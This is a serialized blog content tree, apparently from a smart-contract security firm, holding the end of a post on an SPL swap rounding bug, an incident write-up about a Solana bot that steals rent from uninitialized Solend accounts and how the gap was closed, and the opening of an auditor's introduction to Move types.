ype":22,"tag":264,"props":6217,"children":6218},{"style":1549},[6219],{"type":27,"value":4418},{"type":22,"tag":264,"props":6221,"children":6222},{"style":1539},[6223],{"type":27,"value":4380},{"type":22,"tag":264,"props":6225,"children":6226},{"style":4344},[6227],{"type":27,"value":3568},{"type":22,"tag":264,"props":6229,"children":6230},{"style":1539},[6231],{"type":27,"value":2806},{"type":22,"tag":264,"props":6233,"children":6234},{"style":4309},[6235],{"type":27,"value":4435},{"type":22,"tag":264,"props":6237,"children":6238},{"style":4401},[6239],{"type":27,"value":4440},{"type":22,"tag":264,"props":6241,"children":6242},{"style":1539},[6243],{"type":27,"value":2660},{"type":22,"tag":264,"props":6245,"children":6246},{"style":1549},[6247],{"type":27,"value":2181},{"type":22,"tag":264,"props":6249,"children":6250},{"style":1539},[6251],{"type":27,"value":2806},{"type":22,"tag":264,"props":6253,"children":6254},{"style":4309},[6255],{"type":27,"value":4435},{"type":22,"tag":264,"props":6257,"children":6258},{"style":4401},[6259],{"type":27,"value":4538},{"type":22,"tag":264,"props":6261,"children":6262},{"style":1539},[6263],{"type":27,"value":2660},{"type":22,"tag":264,"props":6265,"children":6266},{"style":1549},[6267],{"type":27,"value":4547},{"type":22,"tag":264,"props":6269,"children":6270},{"style":1539},[6271],{"type":27,"value":2806},{"type":22,"tag":264,"props":6273,"children":6274},{"style":4309},[6275],{"type":27,"value":4458},{"type":22,"tag":264,"props":6277,"children":6278},{"style":1539},[6279],{"type":27,"value":2806},{"type":22,"tag":264,"props":6281,"children":6282},{"style":4309},[6283],{"type":27,"value":4458},{"type":22,"tag":264,"props":6285,"children":6286},{"style":1539},[6287],{"type":27,"value":4322},{"type":22,"tag":264,"props":6289,"children":6290},{"class":1534,"line":1621},[6291,6295,6299,6303,6307,6311],{"type":22,"tag":264,"props":6292,"children":6293},{"style":4309},[6294],{"type":27,"value":5621},{"type":22,"tag":264,"props":6296,"children":6297},{"style":4328},[6298],{"type":27,"value":4575},{"type":22,"tag":264,"props":6300,"children":6301},{"style":1549},[6302],{"type":27,"value":4306},{"type":22,"tag":264,"props":6304,"children":6305},{"style":4309},[6306],{"type":27,"value":4585},{"type":22,"tag":264,"props":6308,"children":6309},{"style":1549},[6310],{"type":27,"value":6015},{"type":22,"tag":264,"props":6312,"children":6313},{"style":1539},[6314],{"type":27,"value":4594},{"type":22,"tag":264,"props":6316,"children":6317},{"class":1534,"line":1629},[6318,6322,6326,6330,6334,6338,6342,6346,6350,6354,6358,6362,6366,6370,6374,6378,6382,6386,6390,6394,6398,6402,6406],{"type":22,"tag":264,"props":6319,"children":6320},{"style":4309},[6321],{"type":27,"value":673},{"type":22,"tag":264,"props":6323,"children":6324},{"style":4293},[6325],{"type":27,"value":4365},{"type":22,"tag":264,"props":6327,"children":6328},{"style":1539},[6329],{"type":27,"value":4370},{"type":22,"tag":264,"props":6331,"children":6332},{"style":1549},[6333],{"type":27,"value":4375},{"type":22,"tag":264,"props":6335,"children":6336},{"style":1539},[6337],{"type":27,"value":4380},{"type":22,"tag":264,"props":6339,"children":6340},{"style":1549},[6341],{"type":27,"value":4385},{"type":22,"tag":264,"props":6343,"children":6344},{"style":1539},[6345],{"type":27,"value":4390},{"type":22,"tag":264,"props":6347,"children":6348},{"style":4309},[6349],{"type":27,"value":429},{"type":22,"tag":264,"props":6351,"children":6352},{"style":1539},[6353],{"type":27,"value":4370},{"type":22,"tag":264,"props":6355,"children":6356},{"style":4401},[6357],{"type":27,"value":4404},{"type":22,"tag":264,"props":6359,"children":6360},{"style":1539},[6361],{"type":27,"value":2660},{"type":22,"tag":264,"props":6363,"children":6364},{"style":4309},[6365],{"type":27,"value":4413},{"type":22,"tag":264,"props":6367,"children":6368},{"style":1549},[6369],{"type":27,"value":4418},{"type":22,"tag":264,"props":6371,"children":6372},{"style":1539},[6373],{"type":27,"value":4380},{"type":22,"tag":264,"props":6375,"children":6376},{"style":4344},[6377],{"type":27,"value":3568},{"type":22,"tag":264,"props":6379,"children":6380},{"style":1539},[6381],{"type":27,"value":2806},{"type":22,"tag":264,"props":6383,"children":6384},{"style":4309},[6385],{"type":27,"value":4435},{"type":22,"tag":264,"props":6387,"children":6388},{"style":4401},[6389],{"type":27,"value":4440},{"type":22,"tag":264,"props":6391,"children":6392},{"style":1539},[6393],{"type":27,"value":2660},{"type":22,"tag":264,"props":6395,"children":6396},{"style":1549},[6397],{"type":27,"value":4449},{"type":22,"tag":264,"props":6399,"children":6400},{"style":1539},[6401],{"type":27,"value":2806},{"type":22,"tag":264,"props":6403,"children":6404},{"style":4309},[6405],{"type":27,"value":4458},{"type":22,"tag":264,"props":6407,"children":6408},{"style":1539},[6409],{"type":27,"value":4463},{"type":22,"tag":264,"props":6411,"children":6412},{"class":1534,"line":1642},[6413,6417,6421,6425,6429,6433,6437,6441,6445,6449,6453,6457,6461,6465,6469,6473,6477,6481,6485,6489,6493,6497,6501,6505,6509],{"type":22,"tag":264,"props":6414,"children":6415},{"style":4309},[6416],{"type":27,"value":673},{"type":22,"tag":264,"props":6418,"children":6419},{"style":4309},[6420],{"type":27,"value":4471},{"type":22,"tag":264,"props":6422,"children":6423},{"style":4401},[6424],{"type":27,"value":4476},{"type":22,"tag":264,"props":6426,"children":6427},{"style":1539},[6428],{"type":27,"value":2660},{"type":22,"tag":264,"props":6430,"children":6431},{"style":4401},[6432],{"type":27,"value":4485},{"type":22,"tag":264,"props":6434,"children":6435},{"style":1539},[6436],{"type":27,"value":2660},{"type":22,"tag":264,"props":6438,"children":6439},{"style":4309},[6440],{"type":27,"value":4413},{"type":22,"tag":264,"props":6442,"children":6443},{"style":1549},[6444],{"type":27,"value":4418},{"type":22,"tag":264,"props":6446,"children":6447},{"style":1539},[6448],{"type":27,"value":4380},{"type":22,"tag":264,"props":6450,"children":6451},{"style":4344},[6452],{"type":27,"value":3568},{"type":22,"tag":264,"props":6454,"children":6455},{"style":1539},[6456],{"type":27,"value":2806},{"type":22,"tag":264,"props":6458,"children":6459},{"style":4309},[6460],{"type":27,"value":4435},{"type":22,"tag":264,"props":6462,"children":6463},{"style":4401},[6464],{"type":27,"value":4440},{"type":22,"tag":264,"props":6466,"children":6467},{"style":1539},[6468],{"type":27,"value":2660},{"type":22,"tag":264,"props":6470,"children":6471},{"style":1549},[6472],{"type":27,"value":2181},{"type":22,"tag":264,"props":6474,"children":6475},{"style":1539},[6476],{"type":27,"value":2806},{"type":22,"tag":264,"props":6478,"children":6479},{"style":4309},[6480],{"type":27,"value":4435},{"type":22,"tag":264,"props":6482,"children":6483},{"style":4401},[6484],{"type":27,"value":4538},{"type":22,"tag":264,"props":6486,"children":6487},{"style":1539},[6488],{"type":27,"value":2660},{"type":22,"tag":264,"props":6490,"children":6491},{"style":1549},[6492],{"type":27,"value":4547},{"type":22,"tag":264,"props":6494,"children":6495},{"style":1539},[6496],{"type":27,"value":2806},{"type":22,"tag":264,"props":6498,"children":6499},{"style":4309},[6500],{"type":27,"value":4458},{"type":22,"tag":264,"props":6502,"children":6503},{"style":1539},[6504],{"type":27,"value":2806},{"type":22,"tag":264,"props":6506,"children":6507},{"style":4309},[6508],{"type":27,"value":4458},{"type":22,"tag":264,"props":6510,"children":6511},{"style":1539},[6512],{"type":27,"value":4322},{"type":22,"tag":264,"props":6514,"children":6515},{"class":1534,"line":1660},[6516,6520,6524,6528,6532,6536],{"type":22,"tag":264,"props":6517,"children":6518},{"style":4309},[6519],{"type":27,"value":673},{"type":22,"tag":264,"props":6521,"children":6522},{"style":4328},[6523],{"type":27,"value":4575},{"type":22,"tag":264,"props":6525,"children":6526},{"style":1549},[6527],{"type":27,"value":4580},{"type":22,"tag":264,"props":6529,"children":6530},{"style":4309},[6531],{"type":27,"value":4585},{"type":22,"tag":264,"props":6533,"children":6534},{"style":1549},[6535],{"type":27,"value":4306},{"type":22,"tag":264,"props":6537,"children":6538},{"style":1539},[6539],{"type":27,"value":4594},{"type":22,"tag":264,"props":6541,"children":6542},{"class":1534,"line":1668},[6543,6548],{"type":22,"tag":264,"props":6544,"children":6545},{"style":4328},[6546],{"type":27,"value":6547},"             break",{"type":22,"tag":264,"props":6549,"children":6550},{"style":1539},[6551],{"type":27,"value":4322},{"type":22,"tag":264,"props":6553,"children":6554},{"class":1534,"line":1677},[6555,6559,6563,6567],{"type":22,"tag":264,"props":6556,"children":6557},{"style":4309},[6558],{"type":27,"value":673},{"type":22,"tag":264,"props":6560,"children":6561},{"style":1539},[6562],{"type":27,"value":4614},{"type":22,"tag":264,"props":6564,"children":6565},{"style":4328},[6566],{"type":27,"value":4619},{"type":22,"tag":264,"props":6568,"children":6569},{"style":1539},[6570],{"type":27,"value":4594},{"type":22,"tag":264,"props":6572,"children":6573},{"class":1534,"line":1686},[6574,6578,6582,6586,6590],{"type":22,"tag":264,"props":6575,"children":6576},{"style":4309},[6577],{"type":27,"value":673},{"type":22,"tag":264,"props":6579,"children":6580},{"style":1549},[6581],{"type":27,"value":4631},{"type":22,"tag":264,"props":6583,"children":6584},{"style":4309},[6585],{"type":27,"value":4312},{"type":22,"tag":264,"props":6587,"children":6588},{"style":1549},[6589],{"type":27,"value":4580},{"type":22,"tag":264,"props":6591,"children":6592},{"style":1539},[6593],{"type":27,"value":4322},{"type":22,"tag":264,"props":6595,"children":6596},{"class":1534,"line":4948},[6597],{"type":22,"tag":264,"props":6598,"children":6599},{"style":1539},[6600],{"type":27,"value":6601},"         }\n",{"type":22,"tag":169,"props":6603,"children":6604},{"id":3966},[6605],{"type":27,"value":3969},{"type":22,"tag":23,"props":6607,"children":6608},{},[6609],{"type":27,"value":6610},"This is a good example of how messing around and interacting with the ecosystem can lead to unexpected bugs. We found this, not as a result of active security research, but as part of our work in MEV and trading.",{"type":22,"tag":23,"props":6612,"children":6613},{},[6614,6616,6621],{"type":27,"value":6615},"Another interesting takeaway is that ",{"type":22,"tag":242,"props":6617,"children":6618},{},[6619],{"type":27,"value":6620},"fuzzing can give a false sense of security",{"type":27,"value":6622},". Prior to our report, Saber had already deployed comprehensive fuzzers for their swap implementation. A researcher looking at code coverage alone might come to the incorrect conclusion that such extensively fuzzed code couldn't possibly have a vulnerability.",{"type":22,"tag":23,"props":6624,"children":6625},{},[6626,6628,6635],{"type":27,"value":6627},"One can see parallels to traditional security, as with Google Project Zero's ",{"type":22,"tag":69,"props":6629,"children":6632},{"href":6630,"rel":6631},"https://googleprojectzero.blogspot.com/2021/12/this-shouldnt-have-happened.html",[73],[6633],{"type":27,"value":6634},"port-mortem of the NSS overflow",{"type":27,"value":210},{"type":22,"tag":23,"props":6637,"children":6638},{},[6639],{"type":22,"tag":215,"props":6640,"children":6642},{"alt":7,"src":6641},"/posts/spl-swap/p0.png",[],{"type":22,"tag":23,"props":6644,"children":6645},{},[6646],{"type":27,"value":6647},"A heavily fuzzed method had a trivial buffer overflow due to an arbitrary size limit on the input data. Implict assumptions can often undermine security.",{"type":22,"tag":23,"props":6649,"children":6650},{},[6651],{"type":27,"value":6652},"Especially with regard to onchain programs, it's important to consider what actually is a \"vulnerability\". Getting tokens from nothing is a more obvious example, but more subtle bugs can arise with increasingly complex defi interactions. Economic invariants are much harder to detect than say, memory corruption.",{"type":22,"tag":23,"props":6654,"children":6655},{},[6656],{"type":27,"value":6657},"A comprehensive evaluation of smart contracts relies on a deep understanding of economic implications within the Solana ecosystem.",{"type":22,"tag":4139,"props":6659,"children":6660},{},[6661],{"type":27,"value":4143},{"title":7,"searchDepth":1545,"depth":1545,"links":6663},[6664,6665,6666,6667],{"id":4211,"depth":1545,"text":4214},{"id":5241,"depth":1545,"text":5244},{"id":1974,"depth":1545,"text":1977},{"id":3966,"depth":1545,"text":3969},"content:blog:2022-04-26-spl-swap-rounding.md","blog/2022-04-26-spl-swap-rounding.md","blog/2022-04-26-spl-swap-rounding",{"_path":6672,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":6673,"description":6674,"image":6675,"date":6679,"isFeatured":17,"onBlogPage":17,"tags":6680,"body":6681,"_type":4157,"_id":7003,"_source":4159,"_file":7004,"_stem":7005,"_extension":4162},"/blog/2022-08-19-solend-rent-thief","The Story of the Curious Rent Thief","A tale of pickpockets preying on the Solana ecosystem. Read our investigation into the persistent theft of rent from uninitialized accounts. This is the story of the Solend rent thief.",{"src":6676,"width":6677,"height":6678},"/posts/rent-thief/title.jpg",970,826,"2022-08-19",[16,4174],{"type":19,"children":6682,"toc":6996},[6683,6688,6692,6697,6702,6707,6713,6726,6773,6804,6813,6818,6823,6828,6834,6847,6863,6868,6873,6888,6892,6897,6912,6919,6924,6934,6941,6945,6950,6956,6961,6966,6971,6977,6982],{"type":22,"tag":23,"props":6684,"children":6685},{},[6686],{"type":27,"value":6687},"Recently, there’s been a rent thief. This bot steals money from uninitialized accounts across the Solana ecosystem, claiming and profiting from the rent. The Solend team noticed the bot when it attempted an attack on the new permissionless pools that are being developed (to be clear, funds stored in the main Solend protocol are completely unaffected). Let's dig into how rent thieving works by doing a case study on an attack to one of the permissionless pools.",{"type":22,"tag":169,"props":6689,"children":6690},{"id":171},[6691],{"type":27,"value":174},{"type":22,"tag":23,"props":6693,"children":6694},{},[6695],{"type":27,"value":6696},"To understand how this exploit works, we first have to understand a bit about how rent works in Solana.",{"type":22,"tag":23,"props":6698,"children":6699},{},[6700],{"type":27,"value":6701},"Since accounts can store data that every validator needs to download, Solana charges a certain amount of rent based on the amount of data. However, accounts that have enough for 2 years of rent payments are considered rent-exempt as long as their balance never drops below the threshold. Fortunately, rent is very cheap, so it's not hard to make an account rent-exempt.",{"type":22,"tag":23,"props":6703,"children":6704},{},[6705],{"type":27,"value":6706},"As such, when creating new accounts, most programs will need to transfer some SOL into the new account to make it rent-exempt.",{"type":22,"tag":169,"props":6708,"children":6710},{"id":6709},"the-exploit",[6711],{"type":27,"value":6712},"The Exploit",{"type":22,"tag":23,"props":6714,"children":6715},{},[6716,6718,6724],{"type":27,"value":6717},"New reserves (also known as assets) are added to a Solend pool by calling the ",{"type":22,"tag":257,"props":6719,"children":6721},{"className":6720},[],[6722],{"type":27,"value":6723},"init_reserve",{"type":27,"value":6725}," function, which creates 6 new accounts to store data about the reserve:",{"type":22,"tag":1867,"props":6727,"children":6728},{},[6729,6734,6739,6744,6755,6760],{"type":22,"tag":1871,"props":6730,"children":6731},{},[6732],{"type":27,"value":6733},"reserve detail - stores information about the reserve e.g liquidity mint, mint decimals, oracles, configs, etc.",{"type":22,"tag":1871,"props":6735,"children":6736},{},[6737],{"type":27,"value":6738},"reserve liquidity token account - holds deposited tokens",{"type":22,"tag":1871,"props":6740,"children":6741},{},[6742],{"type":27,"value":6743},"fee receiver token account - account which will receive origination fees on borrows",{"type":22,"tag":1871,"props":6745,"children":6746},{},[6747,6749],{"type":27,"value":6748},"reserve collateral mint account - deposit receipt token, also known as ",{"type":22,"tag":257,"props":6750,"children":6752},{"className":6751},[],[6753],{"type":27,"value":6754},"cTokens",{"type":22,"tag":1871,"props":6756,"children":6757},{},[6758],{"type":27,"value":6759},"reserve collateral token account - holds users' collateral tokens",{"type":22,"tag":1871,"props":6761,"children":6762},{},[6763,6765,6771],{"type":27,"value":6764},"creator collateral token account - creator's ",{"type":22,"tag":257,"props":6766,"children":6768},{"className":6767},[],[6769],{"type":27,"value":6770},"cToken",{"type":27,"value":6772}," account",{"type":22,"tag":23,"props":6774,"children":6775},{},[6776,6778,6783,6785,6790,6792,6797,6799],{"type":27,"value":6777},"Account creation and initialization are ",{"type":22,"tag":1699,"props":6779,"children":6780},{},[6781],{"type":27,"value":6782},"usually",{"type":27,"value":6784}," done within the same transactions. However, due to Solana's transaction size limit of 1232 bytes, the creation and initialization of these 6 accounts had to be separated into 2 transactions, creation and initialization. Here's what a call to ",{"type":22,"tag":257,"props":6786,"children":6788},{"className":6787},[],[6789],{"type":27,"value":6723},{"type":27,"value":6791}," is ",{"type":22,"tag":1699,"props":6793,"children":6794},{},[6795],{"type":27,"value":6796},"supposed",{"type":27,"value":6798}," to look like:\n",{"type":22,"tag":215,"props":6800,"children":6803},{"src":6801,"alt":6802},"/posts/rent-thief/transacdiagram.png","drawing",[],{"type":22,"tag":23,"props":6805,"children":6806},{},[6807,6809],{"type":27,"value":6808},"Notice anything amiss? In between the two transactions, the account has rent money but no owner. This is where the rent thief comes in to snatch the account, along with its rent:\n",{"type":22,"tag":215,"props":6810,"children":6812},{"src":6811,"alt":6802},"/posts/rent-thief/attacktransac.png",[],{"type":22,"tag":23,"props":6814,"children":6815},{},[6816],{"type":27,"value":6817},"Since there was a roughly 40 second (50 slot) window in between the two transactions, such an attack was very consistent.",{"type":22,"tag":23,"props":6819,"children":6820},{},[6821],{"type":27,"value":6822},"Fortunately, rent is relatively cheap so the entire attack only extracts about 0.0082 SOL every iteration (4 token accounts each worth around 0.002 SOL), which is around 28 cents at the time of writing this article.",{"type":22,"tag":23,"props":6824,"children":6825},{},[6826],{"type":27,"value":6827},"Despite this lost cost, this is pretty annoying...",{"type":22,"tag":169,"props":6829,"children":6831},{"id":6830},"example",[6832],{"type":27,"value":6833},"Example",{"type":22,"tag":23,"props":6835,"children":6836},{},[6837,6839,6846],{"type":27,"value":6838},"Let's take a look at ",{"type":22,"tag":69,"props":6840,"children":6843},{"href":6841,"rel":6842},"https://explorer.solana.com/address/2PUTo74Vbt9fXVoTywjTFZNnWGckWS98HnruXvZJaj4N",[73],[6844],{"type":27,"value":6845},"a real attack",{"type":27,"value":210},{"type":22,"tag":23,"props":6848,"children":6849},{},[6850,6857,6859],{"type":22,"tag":69,"props":6851,"children":6854},{"href":6852,"rel":6853},"https://explorer.solana.com/tx/9yon9Av2sBq78bZ92Pa28p8gef5MUEQL3sBLGVzxK3RNGYsN2nLnTrbqS1wMCvJdinKE8CC9SwCuUYuNBwrNFNy",[73],[6855],{"type":27,"value":6856},"Transaction 1",{"type":27,"value":6858},":\n",{"type":22,"tag":215,"props":6860,"children":6862},{"alt":7,"src":6861},"https://i.imgur.com/xJvIwgc.png",[],{"type":22,"tag":23,"props":6864,"children":6865},{},[6866],{"type":27,"value":6867},"(...more accounts truncated)",{"type":22,"tag":23,"props":6869,"children":6870},{},[6871],{"type":27,"value":6872},"The developer creates a couple accounts and transfers enough SOL for them to be rent-exempt. This took place in slot 136,580,113.",{"type":22,"tag":23,"props":6874,"children":6875},{},[6876,6883,6884],{"type":22,"tag":69,"props":6877,"children":6880},{"href":6878,"rel":6879},"https://explorer.solana.com/tx/22beQSDReFGK4KAgarAz4MbibpxaFHiARd3yaCDZ4wmKSNoTcxmKMp6uRNA2CY4xAAZVZZCDg522aJ7jXftyhtSE",[73],[6881],{"type":27,"value":6882},"Attacker's Transaction",{"type":27,"value":6858},{"type":22,"tag":215,"props":6885,"children":6887},{"alt":7,"src":6886},"https://i.imgur.com/CpSKuL3.png",[],{"type":22,"tag":23,"props":6889,"children":6890},{},[6891],{"type":27,"value":6867},{"type":22,"tag":23,"props":6893,"children":6894},{},[6895],{"type":27,"value":6896},"As detailed before, the attacker takes ownership of the newly created accounts. This took place in slot 136,580,154, which is 41 slots (29 seconds) after the initial transaction.",{"type":22,"tag":23,"props":6898,"children":6899},{},[6900,6907,6908],{"type":22,"tag":69,"props":6901,"children":6904},{"href":6902,"rel":6903},"https://explorer.solana.com/tx/beYo1YBCa4fQ8swdJchx9s4qtgDQV4oVSEqwAX7UpHan4U4Jsv1oxY2V2ZxE77pBQHzYwV4gCXpDDKTgM7kBT4y",[73],[6905],{"type":27,"value":6906},"Transaction 2",{"type":27,"value":6858},{"type":22,"tag":215,"props":6909,"children":6911},{"alt":7,"src":6910},"https://i.imgur.com/of0GIdw.png",[],{"type":22,"tag":23,"props":6913,"children":6914},{},[6915],{"type":22,"tag":215,"props":6916,"children":6918},{"alt":7,"src":6917},"https://i.imgur.com/0STSyv8.png",[],{"type":22,"tag":23,"props":6920,"children":6921},{},[6922],{"type":27,"value":6923},"The developer attempts to take ownership of the account, but it fails with the error \"account or token already in use\" since the attacker took ownership of it. This took place in slot 136,580,167, which is 13 slots (9 seconds) after the attacker's transaction. In total, that's a 54 slot-gap (38 seconds) between the two Solend transactions.",{"type":22,"tag":23,"props":6925,"children":6926},{},[6927,6933],{"type":22,"tag":69,"props":6928,"children":6931},{"href":6929,"rel":6930},"https://explorer.solana.com/tx/3D45bCbbeSEaigz3RX6GRKuoDSok3FHMi5Z2N5HDXcPjqMzu3Qx5iEoXh56RWg1mn7w9ZuZifD91n1DwnPjdaW2G",[73],[6932],{"type":27,"value":6882},{"type":27,"value":5785},{"type":22,"tag":23,"props":6935,"children":6936},{},[6937],{"type":22,"tag":215,"props":6938,"children":6940},{"alt":7,"src":6939},"https://i.imgur.com/AmSPdmy.png",[],{"type":22,"tag":23,"props":6942,"children":6943},{},[6944],{"type":27,"value":6867},{"type":22,"tag":23,"props":6946,"children":6947},{},[6948],{"type":27,"value":6949},"Now that the attack is over, the attacker closes the accounts, transferring the rent money to themselves. The total money stolen during this attack was 0.00815212 SOL.",{"type":22,"tag":169,"props":6951,"children":6953},{"id":6952},"impact",[6954],{"type":27,"value":6955},"Impact",{"type":22,"tag":23,"props":6957,"children":6958},{},[6959],{"type":27,"value":6960},"Rent-thieving attacks don't steal much money.",{"type":22,"tag":23,"props":6962,"children":6963},{},[6964],{"type":27,"value":6965},"They can only make a small profit very infrequently as Solana rent is cheap and there are only a handful of large services that separate account creation and initialization. In addition, this stratedgy doesn't scale well, since such non-atomic account creation is relatively infrequent.",{"type":22,"tag":23,"props":6967,"children":6968},{},[6969],{"type":27,"value":6970},"However, it's still obnoxious even if the monetary impact is minimal. Transactions will fail and need to be remade, impacting usability.",{"type":22,"tag":169,"props":6972,"children":6974},{"id":6973},"solution",[6975],{"type":27,"value":6976},"Solution",{"type":22,"tag":23,"props":6978,"children":6979},{},[6980],{"type":27,"value":6981},"As a temporary stopgap, Solend refactored their codebase to lower the 40 second delay between transactions to around 15 seconds (20 slots), making an attack much more difficult and inconsistent.",{"type":22,"tag":23,"props":6983,"children":6984},{},[6985,6987,6994],{"type":27,"value":6986},"As a more permenant solution, Solend implemented ",{"type":22,"tag":69,"props":6988,"children":6991},{"href":6989,"rel":6990},"https://explorer.solana.com/tx/3DR74oQh966HbozLPYFqTgCmQWbUNSBkjUcEs7CuWxMPNxM3mBzqH7Gqu1mVRBRxNSTWJBcJkTnCzmoqD6kPYMXE?cluster=devnet",[73],[6992],{"type":27,"value":6993},"an onchain program",{"type":27,"value":6995}," which handles account creation, allowing them to fit all the relevant instructions into one transaction.",{"title":7,"searchDepth":1545,"depth":1545,"links":6997},[6998,6999,7000,7001,7002],{"id":171,"depth":1545,"text":174},{"id":6709,"depth":1545,"text":6712},{"id":6830,"depth":1545,"text":6833},{"id":6952,"depth":1545,"text":6955},{"id":6973,"depth":1545,"text":6976},"content:blog:2022-08-19-solend-rent-thief.md","blog/2022-08-19-solend-rent-thief.md","blog/2022-08-19-solend-rent-thief",{"_path":7007,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":7008,"description":7009,"author":7010,"image":7011,"date":7015,"isFeatured":17,"onBlogPage":17,"body":7016,"_type":4157,"_id":10554,"_source":4159,"_file":10555,"_stem":10556,"_extension":4162},"/blog/2022-09-06-move-introduction","Move: An Auditor's Introduction","What actually makes Move secure? A discussion of Move's typing system and formal verification.","robert",{"src":7012,"height":7013,"width":7014},"/posts/move-intro/title.jpg",1221,1400,"2022-09-06",{"type":19,"children":7017,"toc":10549},[7018,7023,7028,7047,7053,7065,7164,7172,7292,7300,7322,7475,7480,7738,7760,7795,7800,7820,7825,7836,7848,8060,8072,8086,8099,8356,8368,8590,8595,8623,8769,8788,8793,9058,9070,9075,9088,9094,9099,9104,9116,9130,9135,9234,9246,9259,9533,9538,9550,9555,9609,9629,9634,10518,10522,10527,10532,10545],{"type":22,"tag":23,"props":7019,"children":7020},{},[7021],{"type":27,"value":7022},"As part of our work, we seek to understand how to eliminate vulnerability classes. Designing safer languages enables developers to write code with confidence. How exactly does Move lend itself to safer programming practices? What can we learn from Move to generalize secure design principles for other execution environments?",{"type":22,"tag":23,"props":7024,"children":7025},{},[7026],{"type":27,"value":7027},"Lately, there appears to be many buzzwords floating around. Formal verification, type based safety, \"rust but for blockchain\".",{"type":22,"tag":23,"props":7029,"children":7030},{},[7031,7033,7038,7040,7045],{"type":27,"value":7032},"In this piece I'll seek to discuss exactly ",{"type":22,"tag":1699,"props":7034,"children":7035},{},[7036],{"type":27,"value":7037},"how",{"type":27,"value":7039}," move lends itself to more secure programming practices, potential shortcomings, and practical design tips for protocol developers looking to build ",{"type":22,"tag":1699,"props":7041,"children":7042},{},[7043],{"type":27,"value":7044},"structurally",{"type":27,"value":7046}," safer programs.",{"type":22,"tag":169,"props":7048,"children":7050},{"id":7049},"types",[7051],{"type":27,"value":7052},"Types",{"type":22,"tag":23,"props":7054,"children":7055},{},[7056,7058,7064],{"type":27,"value":7057},"One of the key selling points of Move is the use of typed resources. Aptos and Sui have slight variations in how they materialize this pattern, but as an example take ",{"type":22,"tag":257,"props":7059,"children":7061},{"className":7060},[],[7062],{"type":27,"value":7063},"coin.move",{"type":27,"value":210},{"type":22,"tag":618,"props":7066,"children":7068},{"className":4274,"code":7067,"language":4273,"meta":7,"style":7},"  /// Main structure representing a coin/token in an account's custody.\n  struct Coin\u003Cphantom CoinType> has store {\n      /// Amount of coin this address has.\n      value: u64,\n  }\n",[7069],{"type":22,"tag":257,"props":7070,"children":7071},{"__ignoreMap":7},[7072,7080,7127,7135,7156],{"type":22,"tag":264,"props":7073,"children":7074},{"class":1534,"line":1535},[7075],{"type":22,"tag":264,"props":7076,"children":7077},{"style":4284},[7078],{"type":27,"value":7079},"  /// Main structure representing a coin/token in an account's custody.\n",{"type":22,"tag":264,"props":7081,"children":7082},{"class":1534,"line":1545},[7083,7088,7093,7098,7103,7108,7113,7118,7123],{"type":22,"tag":264,"props":7084,"children":7085},{"style":4293},[7086],{"type":27,"value":7087},"  struct",{"type":22,"tag":264,"props":7089,"children":7090},{"style":4722},[7091],{"type":27,"value":7092}," Coin",{"type":22,"tag":264,"props":7094,"children":7095},{"style":1539},[7096],{"type":27,"value":7097},"\u003C",{"type":22,"tag":264,"props":7099,"children":7100},{"style":1549},[7101],{"type":27,"value":7102},"phantom",{"type":22,"tag":264,"props":7104,"children":7105},{"style":4722},[7106],{"type":27,"value":7107}," CoinType",{"type":22,"tag":264,"props":7109,"children":7110},{"style":1539},[7111],{"type":27,"value":7112},"> ",{"type":22,"tag":264,"props":7114,"children":7115},{"style":1549},[7116],{"type":27,"value":7117},"has",{"type":22,"tag":264,"props":7119,"children":7120},{"style":1549},[7121],{"type":27,"value":7122}," store",{"type":22,"tag":264,"props":7124,"children":7125},{"style":1539},[7126],{"type":27,"value":4594},{"type":22,"tag":264,"props":7128,"children":7129},{"class":1534,"line":1560},[7130],{"type":22,"tag":264,"props":7131,"children":7132},{"style":4284},[7133],{"type":27,"value":7134},"      /// Amount of coin this address has.\n",{"type":22,"tag":264,"props":7136,"children":7137},{"class":1534,"line":1569},[7138,7143,7147,7152],{"type":22,"tag":264,"props":7139,"children":7140},{"style":1549},[7141],{"type":27,"value":7142},"      value",{"type":22,"tag":264,"props":7144,"children":7145},{"style":4309},[7146],{"type":27,"value":5785},{"type":22,"tag":264,"props":7148,"children":7149},{"style":4722},[7150],{"type":27,"value":7151}," u64",{"type":22,"tag":264,"props":7153,"children":7154},{"style":1539},[7155],{"type":27,"value":4812},{"type":22,"tag":264,"props":7157,"children":7158},{"class":1534,"line":1583},[7159],{"type":22,"tag":264,"props":7160,"children":7161},{"style":1539},[7162],{"type":27,"value":7163},"  }\n",{"type":22,"tag":23,"props":7165,"children":7166},{},[7167],{"type":22,"tag":1699,"props":7168,"children":7169},{},[7170],{"type":27,"value":7171},"aptos",{"type":22,"tag":618,"props":7173,"children":7175},{"className":4274,"code":7174,"language":4273,"meta":7,"style":7},"  /// A coin of type `T` worth `value`. Transferable and storable\n  struct Coin\u003Cphantom T> has key, store {\n      id: UID,\n      balance: Balance\u003CT>\n  }\n",[7176],{"type":22,"tag":257,"props":7177,"children":7178},{"__ignoreMap":7},[7179,7187,7237,7254,7285],{"type":22,"tag":264,"props":7180,"children":7181},{"class":1534,"line":1535},[7182],{"type":22,"tag":264,"props":7183,"children":7184},{"style":4284},[7185],{"type":27,"value":7186},"  /// A coin of type `T` worth `value`. Transferable and storable\n",{"type":22,"tag":264,"props":7188,"children":7189},{"class":1534,"line":1545},[7190,7194,7198,7202,7206,7211,7215,7219,7224,7228,7233],{"type":22,"tag":264,"props":7191,"children":7192},{"style":4293},[7193],{"type":27,"value":7087},{"type":22,"tag":264,"props":7195,"children":7196},{"style":4722},[7197],{"type":27,"value":7092},{"type":22,"tag":264,"props":7199,"children":7200},{"style":1539},[7201],{"type":27,"value":7097},{"type":22,"tag":264,"props":7203,"children":7204},{"style":1549},[7205],{"type":27,"value":7102},{"type":22,"tag":264,"props":7207,"children":7208},{"style":4722},[7209],{"type":27,"value":7210}," T",{"type":22,"tag":264,"props":7212,"children":7213},{"style":1539},[7214],{"type":27,"value":7112},{"type":22,"tag":264,"props":7216,"children":7217},{"style":1549},[7218],{"type":27,"value":7117},{"type":22,"tag":264,"props":7220,"children":7221},{"style":1549},[7222],{"type":27,"value":7223}," 